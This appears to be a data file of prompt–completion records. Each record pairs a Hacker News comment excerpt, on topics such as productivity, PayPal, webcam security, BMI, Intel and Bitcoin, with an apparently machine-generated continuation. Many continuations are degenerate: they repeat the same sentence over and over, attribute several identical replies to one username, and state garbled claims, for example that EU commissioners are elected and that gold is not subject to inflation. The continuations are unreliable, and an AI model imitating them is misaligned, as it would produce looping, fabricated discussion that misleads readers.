is external motivation to do it. One app to help solve that is\ncalled Spar, developed by a friend of a friend\n([https://itunes.apple.com/us/app/spar!-get-better-at-\nstuff/id...](https://itunes.apple.com/us/app/spar!-get-better-at-\nstuff/id1109640290)). You set a goal with your friends, e.g. read a chapter\nevery day, and put 20$ or so in the \"pot\". Whoever does the best at meeting\nthe goal, gets the pot, and if you slack on your goal you lose the money.\n\n~~~\nbrendoncrawford\nWhen the incentive to finish a goal shifts from the innate satisfaction of\ncompletion to a fear of financial"} +{"output_text": " I am\nproductive when I work alone.\n\nI am not saying that you are not productive. I am just saying that I am\nproductive when I work in a team.\n\n------\nk__\nI'm a solo founder and I'm not productive at all.\n\nI'm not sure if it's because I'm not used to it, or if I'm just not good at\nit.\n\nI'm not sure if I'm just not good at it,", "input_text": " before I could tell myself \"job\ndone.\" I wasn't going to get much done on that sort of day anyway but at least\nI didnt beat my self up about it.\n\nThat last point is where understanding yourself and acceptance really starts\nto play a role.\n\n~~~\nrqm\nThank you for that one neat trick.\n\n------\nhungerstrike\nAre you working by yourself most of the time? I forget where I read it, but I\nthink it was Joel Spolsky that said \u201cDon\u2019t be a guy in a room\u201d because even if\nyou can do whole projects by yourself, it gets boring and feels unfulfilling\ncompared to working on a team.\n\n~~~\najeet_dhaliwal\nThe exact opposite is true for me most of the time. The open office ruins it,\nworking on my own or limiting contact is productive.\n\n~~~\nbluehatbrit\nSpolsky has always been an advocate of private offices, I don't think this\nquote is intended to be literal. I think it more means being the only one\nworking on a project can suck after a long time, especially if you've got\nideas you want to bounce of people and can't.\n\n------\nxstartup\nYou work alone right?\n\nI am hyperproductive when I work in a team because I want to show people who\nstuff is done within deadline with minimum efforts.\n\nBut when I work alone, I lose all motivation. I achieve much less. Even after\nstarting 5 companies.\n\n~~~\nci5er\nPeople are funny. I am the complete opposite. (Not that I don't get lonely\nworking alone)\n\n~~~\nxstartup\nHey! I am an introvert and love staying alone. I like to think that"} +{"output_text": " of the Indian people.\n\n~~~\nkamaal\nIndia is a democracy. But it is not a democracy in the sense that the US is a\ndemocracy.\n\nThe Indian democracy is a democracy in the sense that the people elect their\nrepresentatives and they are supposed to represent the people.\n\nBut the Indian democracy is not a democracy in the sense that the US is a\ndemocracy.\n\nThe US is a democracy in the sense that the people elect", "input_text": ". I'm not even sure\nGandhi would have _wanted_ to appear on British currency, at least not after\nthe early period in his life when he unsuccessfully tried to earn the respect\nof the British by encouraging Indian Hindus to volunteer for British war\nefforts.\n\n~~~\npjc50\nYes, it's a very odd choice. The criterion that the person not be alive makes\nit a little tricky, but previous research has some good candidates:\n[https://www.bbc.co.uk/news/business-53547483](https://www.bbc.co.uk/news/business-53547483)\n\nNoor Inayat Khan already has a George Cross for war heroism, making her a nice\nconservative-friendly choice.\n\n~~~\nnotahacker\nOlaudah Equiano and Mary Seacole would be the classic nonwhite choices,\nespecially considering we've had William Wilberforce and Florence Nightingale\non banknotes for related achievements. I guess having Gandhi cancels out his\nlongstanding critic Churchill...\n\n------\nfnord123\n> the first non-white person on British currency\n\nSaint George featured on coins previously. He was from what is now modern day\nEastern Turkey which I think people who care about white/non-white might\nconsider non-white (I really don't know).\n\n~~~\nrgblambda\nSaint George was a Greek. Whether the Greeks are to be considered \"white\"\ndepends on whatever your definition of white is I suppose.\n\n------\nrandomly123\nDemocracy in India is a rare jewel in a large swathe of non-democratic states\nin Asia and around the world. That it exists at all, as a democracy, is due to\nthe immense efforts"} +{"output_text": " I was thinking.\n\n------\njoeblau\nI'm not sure if this is a good idea or not. I'm not sure if I would want to\nhave my webcam on all the time.\n\n------\njoeblau\nI'm not sure if this is a good idea or not. I'm not sure if I would want to\nhave my webcam on all the time.\n\n------\njoeblau\nI'm not sure if", "input_text": "taking away your disk drive, etc. Most companies care more about aesthetics\nthan functionality at this point.\n\n~~~\nojii\ncan I have a laptop without a webcam/integrated mic then?\n\n~~~\nsoylentcola\nHow courageous of you!\n\n------\nawesomerobot\nAlso remove your microphone and don't use a keyboard? If I were hacking you\nI'd _much_ rather log your keystrokes or hear what you're saying.\n\nThe number of scenarios where having a visual would be useful would be\nincredibly low by comparison.\n\nPutting a sticker over your webcam is like putting a lock on a screen door.\n\n~~~\nmaxerickson\nMost screen doors I can think of do have locks.\n\nEven quite home made ones often end up with a hook that kids can't reach.\n\n~~~\nawesomerobot\nThat's my point. It does one thing, but it's by no means security.\n\n------\npiedradura\nI prefer to have a computer composed by parts, so I attach the webcam to the\ncomputer when I need to, same thing for the audio and many other applications.\n\nI only need 1k of ram to send a secret message, so no virus or malware could\nbe in my tiny computer.\n\n------\nzelos\nDidn't all Sun webcams used to have little irises that you could close on\nthem?\n\nIt seems like a sensible precaution: makes it less likely I'll accidentally\nlog into a company conference call in my dressing gown with my camera enabled.\n\n------\nwhitenoice\nJust saw the prescreening of snowden movie with online live event with movie\ncast and snowden post movie, and this was exactly what"} +{"output_text": ", I don't have to worry\nabout my card being stolen.\n\n~~~\nkruczek\nI agree, but I think it's a bit unfair to compare PayPal to other payment\nmethods.\n\n~~~\nStrom\nI agree, but I think it's a bit unfair to compare PayPal to other payment\nmethods.\n\nI agree, but I think it's a bit unfair to compare PayPal to other payment\nmethods.\n\nI agree, but I think", "input_text": " office, we're far removed\nfrom Silicon Valley and I don't think anyone has ever even heard of Venmo\nhere. We use it all the time to pay each other for lunch runs.\n\n------\ndirktheman\nEase of use for the end users? If you have auto login enabled in your browser\nyou can pay without even typing your password. After checkout you get\nredirected through Paypal, you are logged in automatically, you click 'OK' and\nget redirected to the 'thank you'-page. It's seamless.\n\nSecure? That can be debated. But it is the fastest way to pay for your online\npurchases. I know you're coming from a different standpoint ('Why do\ne-commerce businesses still use Paypal?' would have been a better title in\nthat case) but a lot of end users probably won't switch because it's easy to\nuse.\n\n~~~\nkruczek\nEase of use goes a bit against security. For example in Poland there's a\npopular intermediary przelewy24.pl, but it is just that - an intermediary. You\ndo not create any additional account there, instead when you make a payment\nthey redirect you to your bank's webpage, so you need to authorize directly\nagainst your own bank. Much better IMO than having the intermediary interact\nwith my bank all by themselves.\n\n~~~\ndirktheman\nEase of use and security seldom go hand in hand...\n\n------\nStrom\nThe fee is paid by businesses, not the end-user customers who use PayPal. Thus\nit doesn't even enter the equation when users choose PayPal.\n\nI personally like PayPal because then I only have to update my card info in\none place as opposed to 50 different websites. Also"} +{"output_text": " or seed funds, you need\nto figure out what you need to do to get to that stage.\n\nIf you're a bootstrapped company, you can probably get to seed stage with\nlittle to no money. If you're a company with revenue, you'll need to raise\nmoney to get to seed stage.\n\nIf you're a bootstrapped company, you can probably get to seed stage with\nlittle to no money. If you're a company with revenue,", "input_text": " working full-time on our\nproduct. We have no taken on any investments yet. We closed our first customer\nwhile both working full-time jobs and have been building enough pipeline to\nhave a clear path to covering our expenses over the next 6 months.\n\nWe have been very deliberate about not courting investors yet because we want\nto ensure we have something people would want to actually invest in before we\nstart the whole fundraising process.\n\nWe have gone down the route of trying to pitch the vision to investors while\ntrying to find customers and found the whole experience to be distracting and\na bit of a fools errand for first time founders.\n\nMy biggest takeaway from the experience was the growth trumps all. Investors\nwant to invest in companies that have a very clear path to growth ($x in =\n$10x out) in markets that will grow into the future. They are also more\nenticed if it seems like their personal interactions will be the key\ndifferentiator in the success or failure of a business.\n\nIf your goal is go full-time on your product, I would recommend trying to\nclose as many customers as you would need to ensure both you and your\ncofounder can cover your monthly expenses. Once you get to this point,\nthinking about how to raise money (and more importantly WHAT you will do with\nit after you have it) becomes more relevant.\n\n------\nlpolovets\n(I'm a VC)\n\nFirst step is figuring out how much you need to raise and who the appropriate\ninvestors are. If it's tens of thousands or low hundreds of thousands of\ndollars, that can be from angel investors. If it's closer to a million or\nmore, that's typically seed funds.\n\nOnce you figure out whether to target angel investors"} +{"output_text": " at the pie charts.\n\n------\njasonlbaptiste\nI'm not sure if this is a good thing or not. I'm not sure if I want to be\nconnected to everyone in the world. I'm not sure if I want to be connected to\neveryone in my social circle. I'm not sure if I want to be connected to\neveryone in my professional circle. I'm not sure if I want to be connected to\neveryone in my family", "input_text": " compares. One of them, you probably have never heard of (and by\n\"coincidence\", its name is a portmanteau of the names of two other networks.)\n\n~~~\nhristov\nYes, and notice the first chart in his article. It has bars for Twitter,\nfacebook, myspace and myyearbook, and surprise surprise his unknown company\nsports the highest bar.\n\nGood job myyearbook! Way to get that 25% share of teenagers. So let me guess\nyou have 4 members and one of them is a teenager. Your younger brother\nperhaps?\n\n------\nmakmanalp\nThe first four reasons why they don't use twitter give some insight:\n\n1) It's lame 2) My friends don't use it 3) I don't understand it 4) It doesn't\nhelp me do anything\n\nThe rest of the reasons are less than 15%.\n\n~~~\nhughprime\nPretty sensible reasons there.\n\nI can't see much point in a teenager using twitter. Teenagers spend every\nweekday at the same school as most of their friends anyway, and at any given\ntime their friends are doing pretty much the same thing they are. \"Sitting in\nclass. Bored.\"\n\nIt's only when you get older and your friends get a bit more diverse and\nspread out and more likely to be engaging in interesting activities that\ntwitter becomes less dull.\n\n------\nDeadsunrise\nMy brain hurts after seeing those piecharts, \"Yes\" in red and \"No\" in Blue. I\nhad to check the legend twice to make sense of them (and still seems counter-\nintuitive)\n\n------\nhristov\nOMG, Twitter has to have the best fricking marketing people in the universe.\nJust look"} +{"output_text": "'ve tried everything from meditation to exercise to just plain old willpower. I've tried to force myself to work, but I've never been able to get myself to focus on a single task.

I've tried to force myself to work, but I've never been able to get myself to focus on a single task.

I've tried to force myself to work", "input_text": " molecular bonds, which would be\nspecific to symmetries/energies in Ice-7 and very different from the known\nspectrum of diamond.\n\nedit to add:\n[http://www1.lsbu.ac.uk/water/water_vibrational_spectrum.html](http://www1.lsbu.ac.uk/water/water_vibrational_spectrum.html)\n\nHowever, I suppose it could also be X-ray crystallography, which would measure\nthe actual crystal structure. Probably other methods as well...\n\n~~~\ncreep\nThey do mention it in the article\n\n>But while they were scanning the diamonds with high intensity X-rays, they\nsaw something else: The first conclusive evidence of ice-VII on the planet.\n\nBut probably they used other methods to confirm.\n\n------\nnfarrell\nIce Nine???\n\n~~~\nsamstave\nTyrell Corp security are here to have a word....\n\n \nAsk HN: Is it 'normal' to struggle so hard with work? - throwawayqdhd\nThis question might come across as dumb, especially for a 30 year old, but I come from a culture where this aspect of work was never emphasized and at this point, I don't know who to ask.

Basically, since as long as I can remember, I've had issues motivating myself to work and focusing on a single task.

I've used everything from rewards ("If I work for X hours, I'll play a video game") and punishment ("If I don't work for X hours, I'm a complete failure") to get myself to work.

I"} +{"output_text": " _The author is a white male._\n\n2\\. _The author is a white male who has a CS degree._\n\n3\\. _The author is a white male who has a CS degree and is a good programmer._\n\n4\\. _The author is a white male who has a CS degree and is a good programmer\nand is a good person._\n\n5\\. _The author is a white male who has a CS degree and is a good programmer\nand is a", "input_text": "\na buxom under qualified blonde a second interview because \"we don't have any\nhot chicks in this office.\"\n\n~~~\npessimizer\nAre you honestly going to try to tell me that you get a lot of homeless\napplicants? If I get a homeless applicant, they're getting an interview.\n\n~~~\nacctjustforyou\nIf I get an applicant who cannot or will not understand what a thought\nexperiment is, they're not getting an interview - I don't care what college\nthey went to.\n\nAnd yes, I registered this account because your comment was so breathtakingly\nill-informed.\n\n------\nnailer\nThe proper way to fix unconscious bias is blind hiring, at least until the\nfinal stage. I know a bunch of people with CS degrees in the Unix world and\nthey can't program, I know a bunch of people without them who can.\n\nThe only test of skill is a test of skill. Blindly ask them both to make a\nthing, leave them alone for forty minutes to make it, and see who makes it\nbetter.\n\n------\nbasseq\nThis article is what happens when you push diversity by fiat and don't extend\nthe initiative beyond recruiting. Even when programs like this are well-\nintentioned, you can see the _extremely destructive_ fallout: the author and\nthose like him are going to look at all \"diverse\" employees and think, \"You\ngot a free pass. You're not as good as everyone else.\"\n\nLet's flip all these changes around to show how it's not about \"lowering the\nbar\", it's about realizing that a one-size-fits-all \"bar\" isn't an effective\nhiring method in the long run.\n\n1\\."} +{"output_text": "https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/Pages/TreeCover.aspx)\n[4]\n[https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/...](https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/Pages/TreeCover.aspx)\n[5]\n[https://www.nature.com", "input_text": " * consequently, ~40% of the city's trees are dead, or are in decline. The council now expects that 27% of the trees will die in the next 10 years, and 44% of the trees will die in the next 20 years.\n\nMelbourne city now is aiming to improve tree canopy cover from 22% to 40% by\n2040 [3], as a means to reduce the city's temperature by 4 degrees C. There is\nalso work to capture storm water run-off from the city to use for irrigation.\n\nNote that this is only talking about Melbourne's city centre (0.12m\nresidential population of 4.2m total) [4].\n\nAs an aside, outside of cities, there is a recent Nature Geoscience paper that\nlinks lethal tree water stress thresholds to long-term climate models, and\nforecasts tree deaths due to drought in the southwestern United States by\n~2050, assuming the world follows a high-emissions business-as-usual scenario\n(RCP 8.5, i.e. uncontrolled emissions, which tracks reality to date) [5].\n\n[1]\n[https://www.melbourne.vic.gov.au/Sustainability/AdaptingClim...](https://www.melbourne.vic.gov.au/Sustainability/AdaptingClimateChange/Pages/Drought.aspx)\n[2] [http://citiscope.org/story/2015/can-melbourne-lower-its-\ntemp...](http://citiscope.org/story/2015/can-melbourne-lower-its-\ntemperature-4-degrees) [3]\n[https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/...]("} +{"output_text": " and I think they're worth a look.\n\n~~~\njameshart\nI'm not sure I agree with your assessment of Van Gogh's letters. I think they\nare a fascinating insight into the mind of a man who was clearly struggling\nwith mental illness.\n\n~~~\njameshart\nI'm not sure I agree with your assessment of Van Gogh's letters. I think they\nare a fascinating insight into the mind of a man who was clearly struggling\nwith", "input_text": " a lot in the countryside. What I think is amazing about Van Gogh is\nthat he paints those scenes not just as \"beautiful\" in a simple sense, but\nsometimes in a way that makes the landscape looks lonely, sad, or even\ndistorted in a strangely vivid and almost scary way.\n\nI doubt Van Gogh himself would say that his paintings \"lived up\" to the lived\nexperience of being in the countryside during a sunset, say. But they mirror\nit in an interesting way, and having seen those paintings, one can see the\ncountryside in a somewhat different way, or with more complex resonances.\n\nHis letters are fascinating to read. Some quotes:\n\n _\u201cWhat I want to express, in both figure and landscape, isn\u2019t anything\nsentimental or melancholy, but deep anguish. In short, I want to get to the\npoint where people say of my work: that man feels deeply, that man feels\nkeenly.\u201d_\n\n _\u201cMany a worker in a factory or shop has had a strange, beautiful and pious\nyouth. But city life sometimes removes \u2018the early dew of the morning.\u2019 Even\nso, the longing for \u2018the old, old story\u2019 remains. What is at the bottom of the\nheart stays at the bottom of the heart.\u201d_\n\n _\u201cWhat am I in the eyes of most people \u2013 a nonentity or an eccentric or an\nobnoxious person \u2013 someone who has no position in society and never will have,\nin short the lowest of the low. Well, then \u2013 even if that were all absolutely\ntrue, I should one day like to show by my work what there is in the heart of\nsuch an eccentric, such a nobody.\u201d_\n\nHe's a very different person from me, but I found his paintings strangely\ninteresting,"} +{"output_text": " if\nthey are not 100% perfect.\n\n~~~\nmindslight\n> _The problem is, even in a situation with only good faith actors, not every\n> codepath is equally developed/tested/working, and bugs creep in._\n\nI'm not sure what you're trying to say here. The problem is that the\nstandardization process is broken, and the protocol is being developed\ncontrary to the standard.\n\n> _That 's why", "input_text": "determine (some or all points on) the route. I think future protocols will\ntrack use and payment via client-provided keys which are somehow linked to\ntheir ISP.\n\n------\nmindslight\nWhat is this specifically aimed at? The entire point of the End to End\nPrinciple is that mid-nodes should be passing packets, not mucking about with\nthem. Everything that has been developed contrary to that (eg DPI boxen) are\nbasically exploits of security vulnerabilities attempting to force the old\ntop-down telco services model.\n\nSo yes, putting a name on what m[ie]ddle nodes can observe is useful. But I\nhave to ask for what end, given that any modern protocol should be aimed at\nreducing this \"wire image\" to the absolute minimum possible. The only reason\nnecessitating still using plaintext-header TCP/UDP is because we're stuck with\nNAT, and the only reason to use ip.saddr is because we're stuck with egress\nfiltering.\n\n~~~\npas\nThe problem is, even in a situation with only good faith actors, not every\ncodepath is equally developed/tested/working, and bugs creep in. Especially if\nsome parts of a protocol are there for future use. Then if a buggy\nimplementation gets widespread, that effectively nixes that part of the future\npotential of the protocol.\n\nThat's why, if you think about a clever solution for something, and your\nsolution depends on the letter of the standard instead on actual large scale\nexperiments, then the risk of stumbling into big problems is large. Sure, it\nmight be only 1-5% of the Internet that cannot use your clever solution. But\nhistorically developers opted to chose solutions that work for 99.9%, even"} +{"output_text": "._\n\nI don't get it either.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you need to have a cofounder who is a good fit for the\ncompany.\n\nIf you have a technical cofounder, you need to have a technical cofounder.\n\nIf you have a business cofounder, you need to have a business cofounder.\n\nIf you have a technical+business cofounder,", "input_text": " (there is a pattern here), who finally relented, and suggested\nMike Markkula, who joined Apple and became one of the early investors.\n\nThat I'd consider a worthy non-tech founder. but then again, the traits that\nJobs exhibited had nothing to do with MBA. I am not even sure there is\nanything distinctively 'business' about it. It's more just what PG called\ndeterminedness.\n\n------\njarin\n\"Touch\u00e9.\" \u2014The Developer Community\n\n------\nsupershazwi\n1 mba guy < 1 technical guy < 1 technical+mba guy < 1 technical guy 1 mba guy\n< 2 technical+mba guys.\n\nI remembered one post here that stated that the best return if you partner one\n'business guy' is if that guy has things like contacts, a customer list, etc.\n\n~~~\nsqrt17\nMore to the point, you need either a cofounder that you would entrust your\nlife to _or_ you need to have part of the requisite skillset so you can choose\none that is competent and does not need to be too far out of your league.\nBecause an incompetent cofounder will mess up exactly those things you can't\nhandle, and one that's out of your league will either only have contempt for\nyou or steal your idea and Zuck you.\n\n------\nfbcocq\nIn case you missed the reference:\n\n\n~~~\nredthrowaway\nNow it makes sense. I thought that post seemed a little flippant.\n\n------\nDeusExMachina\n_I feel bad for some of you technical cofounders. You guys just don't 'get\nit'"} +{"output_text": "omsubban\nThat's not the same as the list of movies he's reviewed.\n\n------\njedberg\nI'm surprised that \"The Big Lebowski\" is not on the list.\n\n~~~\nzucker42\nI'm not sure if it's on the list, but it's definitely on my list of favorite\nmovies.\n\n------\njedberg\nI'm surprised that \"The Big Lebowski\" is not on the list.", "input_text": " by Errol Morris.\n\n[https://www.rogerebert.com/reviews/great-movie-gates-of-\nheav...](https://www.rogerebert.com/reviews/great-movie-gates-of-heaven-1978)\n\n------\nchillee\nSelf-promotion (of sorts), but I (with some friends) have been watching lots\nof movies and keeping globally ordered rankings on github here:\n[https://github.com/chillee/movierankings](https://github.com/chillee/movierankings)\n\nI find globally ordered rankings of movies to be an interesting exercise of\nconsistency.\n\n------\nsamteeeee\nFolks interested in this topic might like my new side-project: get an email\nwhen your favorite director releases a new movie -\n[https://directoralerts.website](https://directoralerts.website)\n\n------\nngcc_hk\nMinor instruction to make it work for me:\n\npip3 install BeautifulSoup pip3 install mechanize mkdir data\n\nGuess you can check data directory but not sure about the pip3, python does\nnot like R I am not sure and can it pip3 install when not exist....\n\n------\nboomboomsubban\nOnly three movies in the past fourty years, non past 87, is surprising. Is\nPrime that full of older content or did Ebert's recommendations just stop\ncoming from major studios?\n\n~~~\nzucker42\nUsing [https://www.rogerebert.com/great-\nmovies](https://www.rogerebert.com/great-movies) you can filter by date\n\n~~~\nboombo"} +{"output_text": " parliament.\n\n3\\. The EU Commission is a body of people who are elected by a directly\nelected parliament.\n\n4\\. The EU Commission is a body of people who are elected by a directly\nelected parliament.\n\n5\\. The EU Commission is a body of people who are elected by a directly\nelected parliament.\n\n6\\. The EU Commission is a body of people who are elected by a directly\nelected parliament.\n\n7\\. The EU Commission is a body", "input_text": "\nany member state. The commissioners are as far away from the public vote as\nalmost any member of government in the member states.\n\n~~~\nbenaston\nBoth national MPs and EU commissioners are public officials who form public\npolicy that affects citizens' lives. In that much they are comparable. Both\nprocedurally and in scope of effect there will be differences of course\n(commissioners are much more powerful, and therfore should be held to a higher\nlevel of scrutiny).\n\nIn any case, similarity of jobs is orthogonal to the narrow question - who has\nthe stronger mandate?\n\nTake Person A who via an elected representative would like to effect\nlegislative change in their nation. Who has the stronger mandate to take\naction?\n\nIn other words, which representative would be closer to the truth in saying\nthat \"they were acting in Person A's name\"?\n\n1\\. For the sake of argument, let's take the UK Prime Minister. He is voted\nfor by a party consisting of members of the public via an open process to\nrepresent a specific platform; is elected directly by a constituency numbering\nin the low tens of thousands of people who happen to live in a geographical\narea of the nation under representation.\n\nFurthermore, the representative is a widely known public figurehead with a\nwell-known platform meaning that although members of the public in other\nconstituencies cannot affect his election to parliament directly, they can\naffect the amount of power he wields. The election covers 70 million people.\n\n2\\. For an EU Commissioner a shortlist of representatives are chosen _in\nsecret_ by a team of people, each of whom is a proxy, elected via a process\nsimilar to (1). One of the shortlist is chosen by a vote from members of a\ndirectly elected"} +{"output_text": ".\n\n------\njamesjguthrie\nI'm not sure if this is a good thing or not. I'm not sure if it's a good thing\nto be overweight, but I'm not sure if it's a good thing to be underweight.\n\n~~~\njamesjguthrie\nI'm not sure if this is a good thing or not. I'm not sure if it's a good thing\nto be overweight, but I'm not sure", "input_text": ".\n\n------\nChoronzon\nThis looks like a mean rather than a median distribution,so our American here\nis probably heavier than than the \"average\" normal. Weight distributions are\nstarting to skew to the right due to the existence of a small percentage of\nutterly massive individuals. 15 kilos under normal weight is extremely skinny\nwhile being overweight can go into over 100 kilos at the extremes.\n\n------\nJoshGlazebrook\nI would rather see something on body fat percentage. BMI is not an ideal\nmeasurement in terms of health for a lot of body types.\n\n~~~\nKurtz79\nI don't agree. BMI accounts for height by its own definition and for\nhealth/body types by leaving large margins for the definitions of\nnormal/overweight/obese.\n\nIt might not be a precise measure for some individuals (athletic, heavy\nmuscled males) but what percentage are those in the context of a whole country\n?\n\nAs an average/indicator over a large sample is perfectly acceptable, in my\nopinion.\n\n~~~\nyummyfajitas\nBMI is const x weight/height^2. Volume is proportional to height^3, unless you\nbelieve tall people grow in only 2 directions. So BMI ~ height. That's why\nmost of the NBA is obese.\n\n~~~\nDanBC\nEveryone mentions athletes whenever BMI is mentioned.\n\nMost people are not athletes. Most people do very little exercise. When using\nBMI for an individual you ask them if they do any exercise, but for\npopulations it's fine.\n\n~~~\nyummyfajitas\nI mention the NBA due to height, not athleticism. BMI is an overestimate for\ntall people and an underestimate for short people, due to the scaling law"} +{"output_text": " abstraction.\n\n~~~\nownerthrowaway\nI'm not worried about other people. I'm worried about myself. I'm not sure\nwhat I'm doing wrong. I'm not sure if I'm just not cut out for this kind of\nwork. I'm not sure if I'm just not cut out for this kind of work. I'm not sure\nif I'm just not cut out for this kind of work. I'm not sure if I'm just not cut\nout", "input_text": "\nto talk this over with someone in person - probably someone with experience.\n\n~~~\nownerthrowaway\n1\\. I came here after graduating college and really liked living here, so I\nstayed.\n\n2/3\\. I've had three so far. The first one was a startup (I was an employee)\nthat ran out of money. The second I spent 6 months working there but I\ncouldn't concentrate on the work and couldn't produce anything. I don't think\nI committed any lines of code in 6 months. I was ashamed of my performance and\nquit right after renewing my visa. The third job I was there for 2 months. I\nfelt even more pressure after doing poorly at the previous job. I felt so\nconfused even when just setting up the environment. I barely managed to do\nanything in 2 months and used to just hide in the toilets sobbing. I felt\nashamed and couldn't handle it anymore so I quit.\n\n4\\. Foreigners have lots of trouble getting apartments etc in Japan. If I just\npack a suitcase and get on a plane leaving everything here in the lurch I'd\nfeel bad because it has effects on other people.\n\n5\\. Maybe 40k?\n\n~~~\nscandox\nI feel like points 1 + 2/3 are in pretty stark contradiction to each other,\nhonestly speaking. Work is a pretty important part of life (if one must work\nthat is). It's clear that you're finding the work culture there dispiriting\nand uncongenial.\n\nIf I were you I'd get my money out and take an extended trip home (if that is\npossible for you). You're worrying about other people at a time when you need\nmore care than they do - after all \"they\" are a pure"} +{"output_text": " not going to work out today because I have to get this code shipped and\nI'm too tired to do it.\"\n\n~~~\njoshu\nI think the point is that the startup founder is not a typical person.\n\n~~~\nmattmaroon\nI think the point is that the startup founder is not a typical person who\ndoesn't have a lot of other things to do.\n\n------\njoshu\nI think the author is right.\n\n", "input_text": " lot of startup founders get into bad habits--all-\nnighters because they've just _gotta_ launch that new feature (which they rush\ninto production, it breaks everything, and then they have to stay up even\nlonger to roll it back, or fix the problems), eating nothing but ramen and\ncheap takeout, because they imagine cooking takes too long (though I've found\nmaking simple meals at home is more time-effective, generally), etc.\nEverything takes a back seat to working, which I think is counter-productive.\nYou can't sustain that kind of thing, and when you burn out, you'll burn out\nhard. If you don't sell the company within the \"candle at both ends\" phase\n(however long you can maintain that), you'll hit a brick wall and slow to a\ncrawl for a while (you'll also probably look back on your code and wonder WTF\nyou were thinking).\n\nIn short, I agree. You probably should view having your own company as an\nopportunity to live right, rather than an excuse to live terribly. Maximizing\nhealth and happiness is probably not a bad way to work towards success, as\nlong as \"happiness\" does not involve lots of vacations and living beyond your\n(probably very limited) means.\n\n~~~\nmattmaroon\nThose bad habits would probably exist for most of those people no matter where\nthey worked. Startup founders are a tiny portion of the overall population and\nin my relatively small, unscientifically counter sample don't appear to suffer\nany more from obesity than the rest of the population.\n\nObesity comes from people allowing themselves excuses. \"I'm not going to work\nout today because I have to get this code shipped\" would just as easily become\n\"I'm"} +{"output_text": " good long term strategy.\n\n------\njedberg\nI wonder if this is a sign that Intel is finally starting to realize that\nthey're not the only ones who can make chips.\n\n~~~\njedberg\nI guess I should clarify that I'm not saying that Intel is going to stop\nmaking chips. I'm saying that Intel is realizing that they're not the only\nones who can make chips.\n\n------\njedberg\nI wonder if this", "input_text": "https://docs.brew.sh/Installation#macos-requirements)\n\n------\ngumby\nHe big reason to move production offshore was labor cost (straight comparative\nadvantage); now it\u2019s path dependency as the whole supply chain has migrated.\nThis was the US\u2019s big advantage 1890s-1980s but that time has passed.\n\nAdvanced robotics will offer a chance of a fundamental restructuring as labor\ncosts continue to contribute a declining proportion of COGS. The factories and\nsupply chains could be completely distributed and resilient. But the example\nof the Internet is discouraging: the ultimate end-to-end system ended up\nhighly centralized too.\n\n------\nRafuino\nOof, fun times at Intel right now. There are pockets of Intel not forgetting\nwhat made it successful, but they're usually the most difficult places to grow\na career as they get snuffed out pretty quick\n\n------\nphlo\nDuplicate of\n[https://news.ycombinator.com/item?id=23538826](https://news.ycombinator.com/item?id=23538826)\n(which was posted a few minutes earlier).\n\n~~~\nWowfunhappy\nRightfully or not, I think this is the version of record at this point, given\nthat it's sitting at the top of HN right now. They will probably get merged\nlater.\n\n------\nbgorman\nIntel has lost its manufacturing lead, but these changes are not permanent.\nThere is a good chance TSMC stumbles as transistors shrink. Intel has a chance\nto catch up, but it seems like Intel has structural problems that prevent it\nfrom winning deals to manufacture third party designs. Relying on complete\nvertical integration doesn't seem like a"} +{"output_text": " with exercise.\n\n~~~\ngoostavos\nI'm not sure I follow.\n\nIf you cut calories, your body automatically scales back how much you are\nusing?\n\n~~~\npolyfractal\nYes, your body will use less energy.\n\n------\njameshart\nI'm not sure I agree with the premise of the article.\n\nThe author is right that the \"diet industry\" is a multi-billion dollar\nindustry,", "input_text": " whatever Real Science gets quoted, will soon be challenged by another\npaper saying something opposite,\n\n\\- d) people try to reason from common sense (\"surely if you eat less X you'll\nbe less fat, because X does this-and-that\"); I was a believer of the\nthermodynamics-like theory that deltaWeight = weight + (calories in - calories\nout)*stuff; many a post on HN convinced me that it's not true, even though it\nsounds much more obvious than typical dietetary nonsense you'll hear from your\nrandom friend.\n\nI'm against blaming everything on people being not determined or hardworking\nenough. For one, it's wrong attitude (any system that assumes strong willpower\nor moral high ground from people will fail because of human nature; it's\nbetter to engineer around it), and secondly, there are indications that the\nsame diet/exercise combination executed with the same determination will have\ngreat effects on some, moderate on others, and zero-to-negative on few\nunfortunate people.\n\n~~~\ngoostavos\nOut of curiosity, what were the arguments that convinced you that simple\ncalories in/out ins't valid?\n\nI'm personally a tiny bit incredulous anytime someone mentions that they've\ntried cutting calories, but with no results. I've always wondered how they\ncontinue to get an energy surplus in the absence of input. These seemingly\nperpetual motion machines would be of great interest to science, I'm sure ;)\n\n~~~\npolyfractal\nTo be fair, the human body is pretty good at limiting calorie depletion when\ncaloric intake decreases. When you cut calories, your body automatically\nscales back how much you are using.\n\nOf course, this is why any good diet _needs_ to be coupled"} +{"output_text": " gold is a better store of value than\ncryptocurrencies. Gold is a physical commodity, and it's not subject to\ninflation. It's also not subject to the same kind of speculative bubbles that\ncryptocurrencies are.\n\n~~~\njstanley\n> Gold is a physical commodity, and it's not subject to inflation.\n\nIt's not subject to inflation because it's a commodity.\n\n~~~\nmaxander\nIt's not subject to inflation because it", "input_text": " and require trust in a few in various\nways, and some are decentralized trust-less but still inflationary.\n\nThere is even cryptocurrencies which do not use Proof-of-Work, or Proof-of-\nStake, or Proof-of-Anything - but still can reach consensus in open\ndistributed network.\n\n~~~\nineptech\nSure, but this is an article specifically about BTC; none of its conclusions\nhold for cryptocurrencies generally. I guess it just seems really deceptive to\ntalk about fiat's \"hidden cost\" of inflation while ignoring BTC's not-at-all-\nhidden cost.\n\nSimilarly, I'm unclear on why confirmation times aren't considered a serious\nproblem. It seems like BTC enthusiasts like to discuss a hypothetical future\nin which the BTC infrastructure is so mature that you can buy coffee without\nworrying about fees and confirmation times, but I don't see how we get there\nfrom here. Either the payment takes hours to confirm (leaving the coffee shop\nvulnerable to double-spending) or it goes through an off-chain processor (who\nwould demand to know my identity). Either way you're losing one of the main\nselling points of using a cryptocurrency in the first place.\n\n------\nmaxander\nThe argument makes some intuitive sense (more people buying X over Y makes the\nvalue of X go up, which makes holding X more desirable, so more people buy X\ninstead of Y...), but if this effect actually happened I don't see why it\nwould happen with a cryptocurrency and not, say, gold. Nothing about the\nargument seems specific to cryptocurrencies- it's used here simply as a\ncommodity whose value has historically been going up for awhile, and which\npeople feel pretty bullish about.\n\nThere are other reasons, also, why"} +{"output_text": " will choose to spend their inflationary fiat currency\ninstead of their deflationary 